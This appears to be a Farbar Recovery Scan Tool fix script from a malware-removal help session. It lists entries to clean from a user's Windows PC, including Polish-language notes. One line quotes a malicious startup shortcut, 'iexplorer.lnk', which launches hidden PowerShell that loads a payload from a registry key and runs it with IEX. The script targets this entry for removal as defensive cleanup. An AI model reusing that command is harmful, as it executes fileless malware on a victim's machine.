CloseProcesses:
CreateRestorePoint:
EmptyTemp:
VirusTotal: C:\Program Files (x86)\IQ Option\IQOptionUpdater.exe
Startup: C:\Users\Gibar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iexplorer.lnk [2018-08-16]
ShortcutAndArgument: iexplorer.lnk -> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe =>   -W Hidden -Exec -nop $t=Get-ItemProperty -Path 'HKCU:\Software\Classes\mscfile' -Name t;IEX $t.t;
Task: {977E4841-4168-464B-AA48-E37230821FD8} - \Microsoft\Windows\UNP\RunCampaignManager -> Brak pliku <==== UWAGA
Tcpip\..\Interfaces\{8bd56999-9f27-41ae-b334-6eec23fab6f7}: [DhcpNameServer] 10.0.0.1
DPF: HKLM-x32 {30528230-99f7-4bb4-88d8-fa1d4f56a2ab} C:\Program Files (x86)\Yahoo!\Common\Yinsthelper.dll
CHR HKLM\...\Chrome\Extension: [fheoggkfdfchfphceeifdbepaooicaho] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [fheoggkfdfchfphceeifdbepaooicaho] - hxxp://clients2.google.com/service/update2/crx
2017-03-01 09:49 - 2013-04-05 10:48 - 038966928 _____ (Adobe Systems Incorporated) C:\Users\Gibar\AdbeRdr11000_pl_PL.exe
2017-03-01 09:49 - 2017-02-03 09:06 - 017600050 _____ (                                                            ) C:\Users\Gibar\Classic PDF Editor 12.0 [1].exe
ContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} =>  -> Brak pliku
C:\Users\Gibar\FPP.lnk
FirewallRules: [{A4D54E4C-80D3-4C47-A4DB-7E01B05FE444}] => (Allow) C:\Program Files (x86)\Droid4X\Droid4X.exe Brak pliku
FirewallRules: [{1D2B20F3-454A-421B-BC3B-8DEA5A3A8D46}] => (Allow) C:\Program Files (x86)\Droid4X\download\MiniThunderPlatform.exe Brak pliku
FirewallRules: [{AF8B88F3-8859-4421-8D47-7758E58353DF}] => (Allow) C:\Program Files (x86)\Droid4X\MultiMgr.exe Brak pliku
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CorelDRAW 9\Instalacja i uwagi\Instalator produktów Corela.LNK
C:\Users\defaultuser0\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
C:\Users\Gibar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iexplorer.lnk
Hosts:
RemoveProxy: